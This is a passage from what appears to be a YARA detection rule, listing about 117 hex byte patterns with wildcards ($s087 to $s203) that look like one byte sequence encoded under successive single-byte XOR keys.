		$s087 = { 57 56 57 56 57 55 ?? ?? 57 55 57 56 57 55 ?? ?? 57 54 57 55 57 53 ?? ?? ?? ?? 57 53 57 55 57 53 ?? ?? ?? ?? 57 52 57 56 57 55 ?? ?? }
		$s088 = { 58 59 58 59 58 5A ?? ?? 58 5A 58 59 58 5A ?? ?? 58 5B 58 5A 58 5C ?? ?? ?? ?? 58 5C 58 5A 58 5C ?? ?? ?? ?? 58 5D 58 59 58 5A ?? ?? }
		$s089 = { 59 58 59 58 59 5B ?? ?? 59 5B 59 58 59 5B ?? ?? 59 5A 59 5B 59 5D ?? ?? ?? ?? 59 5D 59 5B 59 5D ?? ?? ?? ?? 59 5C 59 58 59 5B ?? ?? }
		$s090 = { 5A 5B 5A 5B 5A 58 ?? ?? 5A 58 5A 5B 5A 58 ?? ?? 5A 59 5A 58 5A 5E ?? ?? ?? ?? 5A 5E 5A 58 5A 5E ?? ?? ?? ?? 5A 5F 5A 5B 5A 58 ?? ?? }
		$s091 = { 5B 5A 5B 5A 5B 59 ?? ?? 5B 59 5B 5A 5B 59 ?? ?? 5B 58 5B 59 5B 5F ?? ?? ?? ?? 5B 5F 5B 59 5B 5F ?? ?? ?? ?? 5B 5E 5B 5A 5B 59 ?? ?? }
		$s092 = { 5C 5D 5C 5D 5C 5E ?? ?? 5C 5E 5C 5D 5C 5E ?? ?? 5C 5F 5C 5E 5C 58 ?? ?? ?? ?? 5C 58 5C 5E 5C 58 ?? ?? ?? ?? 5C 59 5C 5D 5C 5E ?? ?? }
		$s093 = { 5D 5C 5D 5C 5D 5F ?? ?? 5D 5F 5D 5C 5D 5F ?? ?? 5D 5E 5D 5F 5D 59 ?? ?? ?? ?? 5D 59 5D 5F 5D 59 ?? ?? ?? ?? 5D 58 5D 5C 5D 5F ?? ?? }
		$s094 = { 5E 5F 5E 5F 5E 5C ?? ?? 5E 5C 5E 5F 5E 5C ?? ?? 5E 5D 5E 5C 5E 5A ?? ?? ?? ?? 5E 5A 5E 5C 5E 5A ?? ?? ?? ?? 5E 5B 5E 5F 5E 5C ?? ?? }
		$s095 = { 5F 5E 5F 5E 5F 5D ?? ?? 5F 5D 5F 5E 5F 5D ?? ?? 5F 5C 5F 5D 5F 5B ?? ?? ?? ?? 5F 5B 5F 5D 5F 5B ?? ?? ?? ?? 5F 5A 5F 5E 5F 5D ?? ?? }
		$s096 = { 60 61 60 61 60 62 ?? ?? 60 62 60 61 60 62 ?? ?? 60 63 60 62 60 64 ?? ?? ?? ?? 60 64 60 62 60 64 ?? ?? ?? ?? 60 65 60 61 60 62 ?? ?? }
		$s097 = { 61 60 61 60 61 63 ?? ?? 61 63 61 60 61 63 ?? ?? 61 62 61 63 61 65 ?? ?? ?? ?? 61 65 61 63 61 65 ?? ?? ?? ?? 61 64 61 60 61 63 ?? ?? }
		$s098 = { 62 63 62 63 62 60 ?? ?? 62 60 62 63 62 60 ?? ?? 62 61 62 60 62 66 ?? ?? ?? ?? 62 66 62 60 62 66 ?? ?? ?? ?? 62 67 62 63 62 60 ?? ?? }
		$s099 = { 63 62 63 62 63 61 ?? ?? 63 61 63 62 63 61 ?? ?? 63 60 63 61 63 67 ?? ?? ?? ?? 63 67 63 61 63 67 ?? ?? ?? ?? 63 66 63 62 63 61 ?? ?? }
		$s100 = { 64 65 64 65 64 66 ?? ?? 64 66 64 65 64 66 ?? ?? 64 67 64 66 64 60 ?? ?? ?? ?? 64 60 64 66 64 60 ?? ?? ?? ?? 64 61 64 65 64 66 ?? ?? }
		$s101 = { 65 64 65 64 65 67 ?? ?? 65 67 65 64 65 67 ?? ?? 65 66 65 67 65 61 ?? ?? ?? ?? 65 61 65 67 65 61 ?? ?? ?? ?? 65 60 65 64 65 67 ?? ?? }
		$s102 = { 66 67 66 67 66 64 ?? ?? 66 64 66 67 66 64 ?? ?? 66 65 66 64 66 62 ?? ?? ?? ?? 66 62 66 64 66 62 ?? ?? ?? ?? 66 63 66 67 66 64 ?? ?? }
		$s103 = { 67 66 67 66 67 65 ?? ?? 67 65 67 66 67 65 ?? ?? 67 64 67 65 67 63 ?? ?? ?? ?? 67 63 67 65 67 63 ?? ?? ?? ?? 67 62 67 66 67 65 ?? ?? }
		$s104 = { 68 69 68 69 68 6A ?? ?? 68 6A 68 69 68 6A ?? ?? 68 6B 68 6A 68 6C ?? ?? ?? ?? 68 6C 68 6A 68 6C ?? ?? ?? ?? 68 6D 68 69 68 6A ?? ?? }
		$s105 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 6A 69 6B 69 6D ?? ?? ?? ?? 69 6D 69 6B 69 6D ?? ?? ?? ?? 69 6C 69 68 69 6B ?? ?? }
		$s106 = { 6A 6B 6A 6B 6A 68 ?? ?? 6A 68 6A 6B 6A 68 ?? ?? 6A 69 6A 68 6A 6E ?? ?? ?? ?? 6A 6E 6A 68 6A 6E ?? ?? ?? ?? 6A 6F 6A 6B 6A 68 ?? ?? }
		$s107 = { 6B 6A 6B 6A 6B 69 ?? ?? 6B 69 6B 6A 6B 69 ?? ?? 6B 68 6B 69 6B 6F ?? ?? ?? ?? 6B 6F 6B 69 6B 6F ?? ?? ?? ?? 6B 6E 6B 6A 6B 69 ?? ?? }
		$s108 = { 6C 6D 6C 6D 6C 6E ?? ?? 6C 6E 6C 6D 6C 6E ?? ?? 6C 6F 6C 6E 6C 68 ?? ?? ?? ?? 6C 68 6C 6E 6C 68 ?? ?? ?? ?? 6C 69 6C 6D 6C 6E ?? ?? }
		$s109 = { 6D 6C 6D 6C 6D 6F ?? ?? 6D 6F 6D 6C 6D 6F ?? ?? 6D 6E 6D 6F 6D 69 ?? ?? ?? ?? 6D 69 6D 6F 6D 69 ?? ?? ?? ?? 6D 68 6D 6C 6D 6F ?? ?? }
		$s110 = { 6E 6F 6E 6F 6E 6C ?? ?? 6E 6C 6E 6F 6E 6C ?? ?? 6E 6D 6E 6C 6E 6A ?? ?? ?? ?? 6E 6A 6E 6C 6E 6A ?? ?? ?? ?? 6E 6B 6E 6F 6E 6C ?? ?? }
		$s111 = { 6F 6E 6F 6E 6F 6D ?? ?? 6F 6D 6F 6E 6F 6D ?? ?? 6F 6C 6F 6D 6F 6B ?? ?? ?? ?? 6F 6B 6F 6D 6F 6B ?? ?? ?? ?? 6F 6A 6F 6E 6F 6D ?? ?? }
		$s112 = { 70 71 70 71 70 72 ?? ?? 70 72 70 71 70 72 ?? ?? 70 73 70 72 70 74 ?? ?? ?? ?? 70 74 70 72 70 74 ?? ?? ?? ?? 70 75 70 71 70 72 ?? ?? }
		$s113 = { 71 70 71 70 71 73 ?? ?? 71 73 71 70 71 73 ?? ?? 71 72 71 73 71 75 ?? ?? ?? ?? 71 75 71 73 71 75 ?? ?? ?? ?? 71 74 71 70 71 73 ?? ?? }
		$s114 = { 72 73 72 73 72 70 ?? ?? 72 70 72 73 72 70 ?? ?? 72 71 72 70 72 76 ?? ?? ?? ?? 72 76 72 70 72 76 ?? ?? ?? ?? 72 77 72 73 72 70 ?? ?? }
		$s115 = { 73 72 73 72 73 71 ?? ?? 73 71 73 72 73 71 ?? ?? 73 70 73 71 73 77 ?? ?? ?? ?? 73 77 73 71 73 77 ?? ?? ?? ?? 73 76 73 72 73 71 ?? ?? }
		$s116 = { 74 75 74 75 74 76 ?? ?? 74 76 74 75 74 76 ?? ?? 74 77 74 76 74 70 ?? ?? ?? ?? 74 70 74 76 74 70 ?? ?? ?? ?? 74 71 74 75 74 76 ?? ?? }
		$s117 = { 75 74 75 74 75 77 ?? ?? 75 77 75 74 75 77 ?? ?? 75 76 75 77 75 71 ?? ?? ?? ?? 75 71 75 77 75 71 ?? ?? ?? ?? 75 70 75 74 75 77 ?? ?? }
		$s118 = { 76 77 76 77 76 74 ?? ?? 76 74 76 77 76 74 ?? ?? 76 75 76 74 76 72 ?? ?? ?? ?? 76 72 76 74 76 72 ?? ?? ?? ?? 76 73 76 77 76 74 ?? ?? }
		$s119 = { 77 76 77 76 77 75 ?? ?? 77 75 77 76 77 75 ?? ?? 77 74 77 75 77 73 ?? ?? ?? ?? 77 73 77 75 77 73 ?? ?? ?? ?? 77 72 77 76 77 75 ?? ?? }
		$s120 = { 78 79 78 79 78 7A ?? ?? 78 7A 78 79 78 7A ?? ?? 78 7B 78 7A 78 7C ?? ?? ?? ?? 78 7C 78 7A 78 7C ?? ?? ?? ?? 78 7D 78 79 78 7A ?? ?? }
		$s121 = { 79 78 79 78 79 7B ?? ?? 79 7B 79 78 79 7B ?? ?? 79 7A 79 7B 79 7D ?? ?? ?? ?? 79 7D 79 7B 79 7D ?? ?? ?? ?? 79 7C 79 78 79 7B ?? ?? }
		$s122 = { 7A 7B 7A 7B 7A 78 ?? ?? 7A 78 7A 7B 7A 78 ?? ?? 7A 79 7A 78 7A 7E ?? ?? ?? ?? 7A 7E 7A 78 7A 7E ?? ?? ?? ?? 7A 7F 7A 7B 7A 78 ?? ?? }
		$s123 = { 7B 7A 7B 7A 7B 79 ?? ?? 7B 79 7B 7A 7B 79 ?? ?? 7B 78 7B 79 7B 7F ?? ?? ?? ?? 7B 7F 7B 79 7B 7F ?? ?? ?? ?? 7B 7E 7B 7A 7B 79 ?? ?? }
		$s124 = { 7C 7D 7C 7D 7C 7E ?? ?? 7C 7E 7C 7D 7C 7E ?? ?? 7C 7F 7C 7E 7C 78 ?? ?? ?? ?? 7C 78 7C 7E 7C 78 ?? ?? ?? ?? 7C 79 7C 7D 7C 7E ?? ?? }
		$s125 = { 7D 7C 7D 7C 7D 7F ?? ?? 7D 7F 7D 7C 7D 7F ?? ?? 7D 7E 7D 7F 7D 79 ?? ?? ?? ?? 7D 79 7D 7F 7D 79 ?? ?? ?? ?? 7D 78 7D 7C 7D 7F ?? ?? }
		$s126 = { 7E 7F 7E 7F 7E 7C ?? ?? 7E 7C 7E 7F 7E 7C ?? ?? 7E 7D 7E 7C 7E 7A ?? ?? ?? ?? 7E 7A 7E 7C 7E 7A ?? ?? ?? ?? 7E 7B 7E 7F 7E 7C ?? ?? }
		$s127 = { 7F 7E 7F 7E 7F 7D ?? ?? 7F 7D 7F 7E 7F 7D ?? ?? 7F 7C 7F 7D 7F 7B ?? ?? ?? ?? 7F 7B 7F 7D 7F 7B ?? ?? ?? ?? 7F 7A 7F 7E 7F 7D ?? ?? }
		$s128 = { 80 81 80 81 80 82 ?? ?? 80 82 80 81 80 82 ?? ?? 80 83 80 82 80 84 ?? ?? ?? ?? 80 84 80 82 80 84 ?? ?? ?? ?? 80 85 80 81 80 82 ?? ?? }
		$s129 = { 81 80 81 80 81 83 ?? ?? 81 83 81 80 81 83 ?? ?? 81 82 81 83 81 85 ?? ?? ?? ?? 81 85 81 83 81 85 ?? ?? ?? ?? 81 84 81 80 81 83 ?? ?? }
		$s130 = { 82 83 82 83 82 80 ?? ?? 82 80 82 83 82 80 ?? ?? 82 81 82 80 82 86 ?? ?? ?? ?? 82 86 82 80 82 86 ?? ?? ?? ?? 82 87 82 83 82 80 ?? ?? }
		$s131 = { 83 82 83 82 83 81 ?? ?? 83 81 83 82 83 81 ?? ?? 83 80 83 81 83 87 ?? ?? ?? ?? 83 87 83 81 83 87 ?? ?? ?? ?? 83 86 83 82 83 81 ?? ?? }
		$s132 = { 84 85 84 85 84 86 ?? ?? 84 86 84 85 84 86 ?? ?? 84 87 84 86 84 80 ?? ?? ?? ?? 84 80 84 86 84 80 ?? ?? ?? ?? 84 81 84 85 84 86 ?? ?? }
		$s133 = { 85 84 85 84 85 87 ?? ?? 85 87 85 84 85 87 ?? ?? 85 86 85 87 85 81 ?? ?? ?? ?? 85 81 85 87 85 81 ?? ?? ?? ?? 85 80 85 84 85 87 ?? ?? }
		$s134 = { 86 87 86 87 86 84 ?? ?? 86 84 86 87 86 84 ?? ?? 86 85 86 84 86 82 ?? ?? ?? ?? 86 82 86 84 86 82 ?? ?? ?? ?? 86 83 86 87 86 84 ?? ?? }
		$s135 = { 87 86 87 86 87 85 ?? ?? 87 85 87 86 87 85 ?? ?? 87 84 87 85 87 83 ?? ?? ?? ?? 87 83 87 85 87 83 ?? ?? ?? ?? 87 82 87 86 87 85 ?? ?? }
		$s136 = { 88 89 88 89 88 8A ?? ?? 88 8A 88 89 88 8A ?? ?? 88 8B 88 8A 88 8C ?? ?? ?? ?? 88 8C 88 8A 88 8C ?? ?? ?? ?? 88 8D 88 89 88 8A ?? ?? }
		$s137 = { 89 88 89 88 89 8B ?? ?? 89 8B 89 88 89 8B ?? ?? 89 8A 89 8B 89 8D ?? ?? ?? ?? 89 8D 89 8B 89 8D ?? ?? ?? ?? 89 8C 89 88 89 8B ?? ?? }
		$s138 = { 8A 8B 8A 8B 8A 88 ?? ?? 8A 88 8A 8B 8A 88 ?? ?? 8A 89 8A 88 8A 8E ?? ?? ?? ?? 8A 8E 8A 88 8A 8E ?? ?? ?? ?? 8A 8F 8A 8B 8A 88 ?? ?? }
		$s139 = { 8B 8A 8B 8A 8B 89 ?? ?? 8B 89 8B 8A 8B 89 ?? ?? 8B 88 8B 89 8B 8F ?? ?? ?? ?? 8B 8F 8B 89 8B 8F ?? ?? ?? ?? 8B 8E 8B 8A 8B 89 ?? ?? }
		$s140 = { 8C 8D 8C 8D 8C 8E ?? ?? 8C 8E 8C 8D 8C 8E ?? ?? 8C 8F 8C 8E 8C 88 ?? ?? ?? ?? 8C 88 8C 8E 8C 88 ?? ?? ?? ?? 8C 89 8C 8D 8C 8E ?? ?? }
		$s141 = { 8D 8C 8D 8C 8D 8F ?? ?? 8D 8F 8D 8C 8D 8F ?? ?? 8D 8E 8D 8F 8D 89 ?? ?? ?? ?? 8D 89 8D 8F 8D 89 ?? ?? ?? ?? 8D 88 8D 8C 8D 8F ?? ?? }
		$s142 = { 8E 8F 8E 8F 8E 8C ?? ?? 8E 8C 8E 8F 8E 8C ?? ?? 8E 8D 8E 8C 8E 8A ?? ?? ?? ?? 8E 8A 8E 8C 8E 8A ?? ?? ?? ?? 8E 8B 8E 8F 8E 8C ?? ?? }
		$s143 = { 8F 8E 8F 8E 8F 8D ?? ?? 8F 8D 8F 8E 8F 8D ?? ?? 8F 8C 8F 8D 8F 8B ?? ?? ?? ?? 8F 8B 8F 8D 8F 8B ?? ?? ?? ?? 8F 8A 8F 8E 8F 8D ?? ?? }
		$s144 = { 90 91 90 91 90 92 ?? ?? 90 92 90 91 90 92 ?? ?? 90 93 90 92 90 94 ?? ?? ?? ?? 90 94 90 92 90 94 ?? ?? ?? ?? 90 95 90 91 90 92 ?? ?? }
		$s145 = { 91 90 91 90 91 93 ?? ?? 91 93 91 90 91 93 ?? ?? 91 92 91 93 91 95 ?? ?? ?? ?? 91 95 91 93 91 95 ?? ?? ?? ?? 91 94 91 90 91 93 ?? ?? }
		$s146 = { 92 93 92 93 92 90 ?? ?? 92 90 92 93 92 90 ?? ?? 92 91 92 90 92 96 ?? ?? ?? ?? 92 96 92 90 92 96 ?? ?? ?? ?? 92 97 92 93 92 90 ?? ?? }
		$s147 = { 93 92 93 92 93 91 ?? ?? 93 91 93 92 93 91 ?? ?? 93 90 93 91 93 97 ?? ?? ?? ?? 93 97 93 91 93 97 ?? ?? ?? ?? 93 96 93 92 93 91 ?? ?? }
		$s148 = { 94 95 94 95 94 96 ?? ?? 94 96 94 95 94 96 ?? ?? 94 97 94 96 94 90 ?? ?? ?? ?? 94 90 94 96 94 90 ?? ?? ?? ?? 94 91 94 95 94 96 ?? ?? }
		$s149 = { 95 94 95 94 95 97 ?? ?? 95 97 95 94 95 97 ?? ?? 95 96 95 97 95 91 ?? ?? ?? ?? 95 91 95 97 95 91 ?? ?? ?? ?? 95 90 95 94 95 97 ?? ?? }
		$s150 = { 96 97 96 97 96 94 ?? ?? 96 94 96 97 96 94 ?? ?? 96 95 96 94 96 92 ?? ?? ?? ?? 96 92 96 94 96 92 ?? ?? ?? ?? 96 93 96 97 96 94 ?? ?? }
		$s151 = { 97 96 97 96 97 95 ?? ?? 97 95 97 96 97 95 ?? ?? 97 94 97 95 97 93 ?? ?? ?? ?? 97 93 97 95 97 93 ?? ?? ?? ?? 97 92 97 96 97 95 ?? ?? }
		$s152 = { 98 99 98 99 98 9A ?? ?? 98 9A 98 99 98 9A ?? ?? 98 9B 98 9A 98 9C ?? ?? ?? ?? 98 9C 98 9A 98 9C ?? ?? ?? ?? 98 9D 98 99 98 9A ?? ?? }
		$s153 = { 99 98 99 98 99 9B ?? ?? 99 9B 99 98 99 9B ?? ?? 99 9A 99 9B 99 9D ?? ?? ?? ?? 99 9D 99 9B 99 9D ?? ?? ?? ?? 99 9C 99 98 99 9B ?? ?? }
		$s154 = { 9A 9B 9A 9B 9A 98 ?? ?? 9A 98 9A 9B 9A 98 ?? ?? 9A 99 9A 98 9A 9E ?? ?? ?? ?? 9A 9E 9A 98 9A 9E ?? ?? ?? ?? 9A 9F 9A 9B 9A 98 ?? ?? }
		$s155 = { 9B 9A 9B 9A 9B 99 ?? ?? 9B 99 9B 9A 9B 99 ?? ?? 9B 98 9B 99 9B 9F ?? ?? ?? ?? 9B 9F 9B 99 9B 9F ?? ?? ?? ?? 9B 9E 9B 9A 9B 99 ?? ?? }
		$s156 = { 9C 9D 9C 9D 9C 9E ?? ?? 9C 9E 9C 9D 9C 9E ?? ?? 9C 9F 9C 9E 9C 98 ?? ?? ?? ?? 9C 98 9C 9E 9C 98 ?? ?? ?? ?? 9C 99 9C 9D 9C 9E ?? ?? }
		$s157 = { 9D 9C 9D 9C 9D 9F ?? ?? 9D 9F 9D 9C 9D 9F ?? ?? 9D 9E 9D 9F 9D 99 ?? ?? ?? ?? 9D 99 9D 9F 9D 99 ?? ?? ?? ?? 9D 98 9D 9C 9D 9F ?? ?? }
		$s158 = { 9E 9F 9E 9F 9E 9C ?? ?? 9E 9C 9E 9F 9E 9C ?? ?? 9E 9D 9E 9C 9E 9A ?? ?? ?? ?? 9E 9A 9E 9C 9E 9A ?? ?? ?? ?? 9E 9B 9E 9F 9E 9C ?? ?? }
		$s159 = { 9F 9E 9F 9E 9F 9D ?? ?? 9F 9D 9F 9E 9F 9D ?? ?? 9F 9C 9F 9D 9F 9B ?? ?? ?? ?? 9F 9B 9F 9D 9F 9B ?? ?? ?? ?? 9F 9A 9F 9E 9F 9D ?? ?? }
		$s160 = { A0 A1 A0 A1 A0 A2 ?? ?? A0 A2 A0 A1 A0 A2 ?? ?? A0 A3 A0 A2 A0 A4 ?? ?? ?? ?? A0 A4 A0 A2 A0 A4 ?? ?? ?? ?? A0 A5 A0 A1 A0 A2 ?? ?? }
		$s161 = { A1 A0 A1 A0 A1 A3 ?? ?? A1 A3 A1 A0 A1 A3 ?? ?? A1 A2 A1 A3 A1 A5 ?? ?? ?? ?? A1 A5 A1 A3 A1 A5 ?? ?? ?? ?? A1 A4 A1 A0 A1 A3 ?? ?? }
		$s162 = { A2 A3 A2 A3 A2 A0 ?? ?? A2 A0 A2 A3 A2 A0 ?? ?? A2 A1 A2 A0 A2 A6 ?? ?? ?? ?? A2 A6 A2 A0 A2 A6 ?? ?? ?? ?? A2 A7 A2 A3 A2 A0 ?? ?? }
		$s163 = { A3 A2 A3 A2 A3 A1 ?? ?? A3 A1 A3 A2 A3 A1 ?? ?? A3 A0 A3 A1 A3 A7 ?? ?? ?? ?? A3 A7 A3 A1 A3 A7 ?? ?? ?? ?? A3 A6 A3 A2 A3 A1 ?? ?? }
		$s164 = { A4 A5 A4 A5 A4 A6 ?? ?? A4 A6 A4 A5 A4 A6 ?? ?? A4 A7 A4 A6 A4 A0 ?? ?? ?? ?? A4 A0 A4 A6 A4 A0 ?? ?? ?? ?? A4 A1 A4 A5 A4 A6 ?? ?? }
		$s165 = { A5 A4 A5 A4 A5 A7 ?? ?? A5 A7 A5 A4 A5 A7 ?? ?? A5 A6 A5 A7 A5 A1 ?? ?? ?? ?? A5 A1 A5 A7 A5 A1 ?? ?? ?? ?? A5 A0 A5 A4 A5 A7 ?? ?? }
		$s166 = { A6 A7 A6 A7 A6 A4 ?? ?? A6 A4 A6 A7 A6 A4 ?? ?? A6 A5 A6 A4 A6 A2 ?? ?? ?? ?? A6 A2 A6 A4 A6 A2 ?? ?? ?? ?? A6 A3 A6 A7 A6 A4 ?? ?? }
		$s167 = { A7 A6 A7 A6 A7 A5 ?? ?? A7 A5 A7 A6 A7 A5 ?? ?? A7 A4 A7 A5 A7 A3 ?? ?? ?? ?? A7 A3 A7 A5 A7 A3 ?? ?? ?? ?? A7 A2 A7 A6 A7 A5 ?? ?? }
		$s168 = { A8 A9 A8 A9 A8 AA ?? ?? A8 AA A8 A9 A8 AA ?? ?? A8 AB A8 AA A8 AC ?? ?? ?? ?? A8 AC A8 AA A8 AC ?? ?? ?? ?? A8 AD A8 A9 A8 AA ?? ?? }
		$s169 = { A9 A8 A9 A8 A9 AB ?? ?? A9 AB A9 A8 A9 AB ?? ?? A9 AA A9 AB A9 AD ?? ?? ?? ?? A9 AD A9 AB A9 AD ?? ?? ?? ?? A9 AC A9 A8 A9 AB ?? ?? }
		$s170 = { AA AB AA AB AA A8 ?? ?? AA A8 AA AB AA A8 ?? ?? AA A9 AA A8 AA AE ?? ?? ?? ?? AA AE AA A8 AA AE ?? ?? ?? ?? AA AF AA AB AA A8 ?? ?? }
		$s171 = { AB AA AB AA AB A9 ?? ?? AB A9 AB AA AB A9 ?? ?? AB A8 AB A9 AB AF ?? ?? ?? ?? AB AF AB A9 AB AF ?? ?? ?? ?? AB AE AB AA AB A9 ?? ?? }
		$s172 = { AC AD AC AD AC AE ?? ?? AC AE AC AD AC AE ?? ?? AC AF AC AE AC A8 ?? ?? ?? ?? AC A8 AC AE AC A8 ?? ?? ?? ?? AC A9 AC AD AC AE ?? ?? }
		$s173 = { AD AC AD AC AD AF ?? ?? AD AF AD AC AD AF ?? ?? AD AE AD AF AD A9 ?? ?? ?? ?? AD A9 AD AF AD A9 ?? ?? ?? ?? AD A8 AD AC AD AF ?? ?? }
		$s174 = { AE AF AE AF AE AC ?? ?? AE AC AE AF AE AC ?? ?? AE AD AE AC AE AA ?? ?? ?? ?? AE AA AE AC AE AA ?? ?? ?? ?? AE AB AE AF AE AC ?? ?? }
		$s175 = { AF AE AF AE AF AD ?? ?? AF AD AF AE AF AD ?? ?? AF AC AF AD AF AB ?? ?? ?? ?? AF AB AF AD AF AB ?? ?? ?? ?? AF AA AF AE AF AD ?? ?? }
		$s176 = { B0 B1 B0 B1 B0 B2 ?? ?? B0 B2 B0 B1 B0 B2 ?? ?? B0 B3 B0 B2 B0 B4 ?? ?? ?? ?? B0 B4 B0 B2 B0 B4 ?? ?? ?? ?? B0 B5 B0 B1 B0 B2 ?? ?? }
		$s177 = { B1 B0 B1 B0 B1 B3 ?? ?? B1 B3 B1 B0 B1 B3 ?? ?? B1 B2 B1 B3 B1 B5 ?? ?? ?? ?? B1 B5 B1 B3 B1 B5 ?? ?? ?? ?? B1 B4 B1 B0 B1 B3 ?? ?? }
		$s178 = { B2 B3 B2 B3 B2 B0 ?? ?? B2 B0 B2 B3 B2 B0 ?? ?? B2 B1 B2 B0 B2 B6 ?? ?? ?? ?? B2 B6 B2 B0 B2 B6 ?? ?? ?? ?? B2 B7 B2 B3 B2 B0 ?? ?? }
		$s179 = { B3 B2 B3 B2 B3 B1 ?? ?? B3 B1 B3 B2 B3 B1 ?? ?? B3 B0 B3 B1 B3 B7 ?? ?? ?? ?? B3 B7 B3 B1 B3 B7 ?? ?? ?? ?? B3 B6 B3 B2 B3 B1 ?? ?? }
		$s180 = { B4 B5 B4 B5 B4 B6 ?? ?? B4 B6 B4 B5 B4 B6 ?? ?? B4 B7 B4 B6 B4 B0 ?? ?? ?? ?? B4 B0 B4 B6 B4 B0 ?? ?? ?? ?? B4 B1 B4 B5 B4 B6 ?? ?? }
		$s181 = { B5 B4 B5 B4 B5 B7 ?? ?? B5 B7 B5 B4 B5 B7 ?? ?? B5 B6 B5 B7 B5 B1 ?? ?? ?? ?? B5 B1 B5 B7 B5 B1 ?? ?? ?? ?? B5 B0 B5 B4 B5 B7 ?? ?? }
		$s182 = { B6 B7 B6 B7 B6 B4 ?? ?? B6 B4 B6 B7 B6 B4 ?? ?? B6 B5 B6 B4 B6 B2 ?? ?? ?? ?? B6 B2 B6 B4 B6 B2 ?? ?? ?? ?? B6 B3 B6 B7 B6 B4 ?? ?? }
		$s183 = { B7 B6 B7 B6 B7 B5 ?? ?? B7 B5 B7 B6 B7 B5 ?? ?? B7 B4 B7 B5 B7 B3 ?? ?? ?? ?? B7 B3 B7 B5 B7 B3 ?? ?? ?? ?? B7 B2 B7 B6 B7 B5 ?? ?? }
		$s184 = { B8 B9 B8 B9 B8 BA ?? ?? B8 BA B8 B9 B8 BA ?? ?? B8 BB B8 BA B8 BC ?? ?? ?? ?? B8 BC B8 BA B8 BC ?? ?? ?? ?? B8 BD B8 B9 B8 BA ?? ?? }
		$s185 = { B9 B8 B9 B8 B9 BB ?? ?? B9 BB B9 B8 B9 BB ?? ?? B9 BA B9 BB B9 BD ?? ?? ?? ?? B9 BD B9 BB B9 BD ?? ?? ?? ?? B9 BC B9 B8 B9 BB ?? ?? }
		$s186 = { BA BB BA BB BA B8 ?? ?? BA B8 BA BB BA B8 ?? ?? BA B9 BA B8 BA BE ?? ?? ?? ?? BA BE BA B8 BA BE ?? ?? ?? ?? BA BF BA BB BA B8 ?? ?? }
		$s187 = { BB BA BB BA BB B9 ?? ?? BB B9 BB BA BB B9 ?? ?? BB B8 BB B9 BB BF ?? ?? ?? ?? BB BF BB B9 BB BF ?? ?? ?? ?? BB BE BB BA BB B9 ?? ?? }
		$s188 = { BC BD BC BD BC BE ?? ?? BC BE BC BD BC BE ?? ?? BC BF BC BE BC B8 ?? ?? ?? ?? BC B8 BC BE BC B8 ?? ?? ?? ?? BC B9 BC BD BC BE ?? ?? }
		$s189 = { BD BC BD BC BD BF ?? ?? BD BF BD BC BD BF ?? ?? BD BE BD BF BD B9 ?? ?? ?? ?? BD B9 BD BF BD B9 ?? ?? ?? ?? BD B8 BD BC BD BF ?? ?? }
		$s190 = { BE BF BE BF BE BC ?? ?? BE BC BE BF BE BC ?? ?? BE BD BE BC BE BA ?? ?? ?? ?? BE BA BE BC BE BA ?? ?? ?? ?? BE BB BE BF BE BC ?? ?? }
		$s191 = { BF BE BF BE BF BD ?? ?? BF BD BF BE BF BD ?? ?? BF BC BF BD BF BB ?? ?? ?? ?? BF BB BF BD BF BB ?? ?? ?? ?? BF BA BF BE BF BD ?? ?? }
		$s192 = { C0 C1 C0 C1 C0 C2 ?? ?? C0 C2 C0 C1 C0 C2 ?? ?? C0 C3 C0 C2 C0 C4 ?? ?? ?? ?? C0 C4 C0 C2 C0 C4 ?? ?? ?? ?? C0 C5 C0 C1 C0 C2 ?? ?? }
		$s193 = { C1 C0 C1 C0 C1 C3 ?? ?? C1 C3 C1 C0 C1 C3 ?? ?? C1 C2 C1 C3 C1 C5 ?? ?? ?? ?? C1 C5 C1 C3 C1 C5 ?? ?? ?? ?? C1 C4 C1 C0 C1 C3 ?? ?? }
		$s194 = { C2 C3 C2 C3 C2 C0 ?? ?? C2 C0 C2 C3 C2 C0 ?? ?? C2 C1 C2 C0 C2 C6 ?? ?? ?? ?? C2 C6 C2 C0 C2 C6 ?? ?? ?? ?? C2 C7 C2 C3 C2 C0 ?? ?? }
		$s195 = { C3 C2 C3 C2 C3 C1 ?? ?? C3 C1 C3 C2 C3 C1 ?? ?? C3 C0 C3 C1 C3 C7 ?? ?? ?? ?? C3 C7 C3 C1 C3 C7 ?? ?? ?? ?? C3 C6 C3 C2 C3 C1 ?? ?? }
		$s196 = { C4 C5 C4 C5 C4 C6 ?? ?? C4 C6 C4 C5 C4 C6 ?? ?? C4 C7 C4 C6 C4 C0 ?? ?? ?? ?? C4 C0 C4 C6 C4 C0 ?? ?? ?? ?? C4 C1 C4 C5 C4 C6 ?? ?? }
		$s197 = { C5 C4 C5 C4 C5 C7 ?? ?? C5 C7 C5 C4 C5 C7 ?? ?? C5 C6 C5 C7 C5 C1 ?? ?? ?? ?? C5 C1 C5 C7 C5 C1 ?? ?? ?? ?? C5 C0 C5 C4 C5 C7 ?? ?? }
		$s198 = { C6 C7 C6 C7 C6 C4 ?? ?? C6 C4 C6 C7 C6 C4 ?? ?? C6 C5 C6 C4 C6 C2 ?? ?? ?? ?? C6 C2 C6 C4 C6 C2 ?? ?? ?? ?? C6 C3 C6 C7 C6 C4 ?? ?? }
		$s199 = { C7 C6 C7 C6 C7 C5 ?? ?? C7 C5 C7 C6 C7 C5 ?? ?? C7 C4 C7 C5 C7 C3 ?? ?? ?? ?? C7 C3 C7 C5 C7 C3 ?? ?? ?? ?? C7 C2 C7 C6 C7 C5 ?? ?? }
		$s200 = { C8 C9 C8 C9 C8 CA ?? ?? C8 CA C8 C9 C8 CA ?? ?? C8 CB C8 CA C8 CC ?? ?? ?? ?? C8 CC C8 CA C8 CC ?? ?? ?? ?? C8 CD C8 C9 C8 CA ?? ?? }
		$s201 = { C9 C8 C9 C8 C9 CB ?? ?? C9 CB C9 C8 C9 CB ?? ?? C9 CA C9 CB C9 CD ?? ?? ?? ?? C9 CD C9 CB C9 CD ?? ?? ?? ?? C9 CC C9 C8 C9 CB ?? ?? }
		$s202 = { CA CB CA CB CA C8 ?? ?? CA C8 CA CB CA C8 ?? ?? CA C9 CA C8 CA CE ?? ?? ?? ?? CA CE CA C8 CA CE ?? ?? ?? ?? CA CF CA CB CA C8 ?? ?? }
		$s203 = { CB CA CB CA CB C9 ?? ?? CB C9 CB CA CB C9 ?? ?? CB C8 CB C9 CB CF ?? ?? ?? ?? CB CF CB C9 CB CF ?? ?? ?? ?? CB CE CB CA CB C9 ?? ?? }
